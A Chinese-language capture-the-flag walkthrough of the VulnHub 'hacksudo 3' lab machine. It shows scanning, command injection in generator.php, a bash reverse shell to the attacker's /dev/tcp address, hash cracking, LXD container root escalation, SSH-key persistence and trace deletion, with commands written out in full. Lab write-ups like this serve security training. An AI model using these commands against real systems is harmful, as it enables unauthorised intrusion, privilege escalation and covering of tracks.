靶机下载地址:https://www.vulnhub.com/entry/hacksudo-3,671/
# 确认攻击目标
攻击机 KALI: 192.168.31.135
靶机 HACKSUDO:桥接于 1 92.168.31.1 的网卡,ip 未知
- 通过 netdiscover 扫描当前网卡里边有哪些机器
sudo netdiscover -i eth0 -r 192.168.31.0/24
![]()
- 将所有已知的 ip 暂时存档,对这类 ip 地址不做端口扫描
1 2 3 4 5
| # shell cat > myip.txt << EOF 192.168.31.1 192.168.31.25 192.168.31.58 192.168.31.86 192.168.31.33 192.168.31.120 192.168.31.135 192.168.31.145 192.168.31.162 192.168.31.44 EOF
|
- 去除一些已知 ip 的机器,对剩余 IP 进行端口扫描,判断目标 IP
sudo nmap -PA 192.168.31.0/24 --excludefile myip.txt
-> 目标机器的 ip 地址: 192.168.31.141
# 端口扫描
sudo nmap -A -p 1-1024 192.168.31.141 - oN /tmp/hacksudo.txt
# 目录爆破并反弹 shell
打开网站:http://192.168.31.141
- 对此网站进行目录扫描
dirsearch -u http://192.168.31.141
http://192.168.31.141/login.php 尝试弱口令,万能密码均失败
- 加载比较全面一点的字典,来扩大目录,看是否能得到更多的信息
1 2
| gobuster dir -u http://192.168.31.141 -x php,txt,html,bak,zip -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
|
-> http://192.168.31.141/generator.php# 存在 REC 代码执行漏洞
- 对 http://192.168.31.141/generator.php# 网站进行攻击
疑似 figlet xx 的命令,构造 figlet xx&ls 可执行更多的 linux 命令
1 2 3
| # 在此位置输入反弹shell的命令,并监听端口 nc lvvp 4444 1 & bash -c 'bash -i >& /dev/tcp/192.168.31.135/4444 0>&1'
|
1 2 3 4
| # 使终端窗口变为一个标准的终端 python3 -c 'import pty;pty.spawn("/bin/bash")' - > ctrl+z stty raw -echo;fg -> enter,enter export TERM=xterm
|
# 凯撒加密
翻阅文件,这里找到一个类似于 “凯撒加密” 的文件
提示:凯撒密码是一种位移加密方式,只对 26 个字母进行位移替换加密,规则简单。例如,当偏移量是 2 的时候,所有的字母 A 将被替换成 C,B 变成 D,以此类推。如果您输入的是中英文组合,则只会对英文加密解密
![]()
在线进行凯撒解密,偏移为 13 :http://moersima.00cha.net/kaisamima.asp
![]()
1 2 3
| # 解密后的数据为: hacksudo locker SSH username:hacksudo password:63c9142792d571d0f7c28eb30626d6f38792a2e7679b76d784231676d62 447fb80af8953745f709c6622dda2cb4d754c262d0d31b3030a08f7b524079a6b336b
|
# SHA 512 加密
密码又被进行了一层 hash 散列加密
在线 hash 解密:https://crackstation.net/
![]()
-> 得到 hacksudo 的用户名:hacksudo 密码:vishal
![]()
# LXD 提权
发现了 id 之后有 lxd 补充组,尝试 lxd 提权
lxd 提权指南:https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| # 在kali机器上下载lxd的文件,并通过scp发送至靶机: wget https://github.com/saghul/lxd-alpine-builder/archive/refs/heads/master.zip scp -r parallels@192.168.31.135:~/Desktop/tool/lxd/lxd /tmp/lxd
# 自定义镜像 sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest- releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build- alpine sudo ./build-alpine -a i
# 引入镜像 lxc image import alpine*.tar.gz --alias myimage lxd init lxc init myimage mycontainer -c security.privileged=true lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true lxc start mycontainer lxc exec mycontainer /bin/sh
|
# 配置 ssh-keygen 维权
- 服务器操作
1 2 3 4 5
| # 生成私钥和公钥: ssh-keygen -t rsa
# 保存公钥至认证文件: cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
|
- 客户端操作:
1 2 3 4 5 6 7 8
| # 下载私钥: scp hacksudo@192.168.31.141:~/.ssh/id_rsa.
# 改变文件权限: chmod 700 vulnhub_hacksudo
# 免密登陆服务器: ssh hacksudo@192.168.31.141 -i ~/.ssh/vulnhub_hacksudo
|
- 靶机消除痕迹
1 2
| # 销毁服务端的痕迹: rm -f ~/.ssh/id_rsa && rm -f ~/.ssh/id_rsa.pub
|
-> 免密登陆 root 失败,但可以免密登陆账户 hacksudo
1 2 3 4 5
| # 下次登陆此服务器需要 ssh hacksudo@192.168.31.141
# 在hacksudo账户内使用如下命令可直接进入root lxc exec mycontainer /bin/sh
|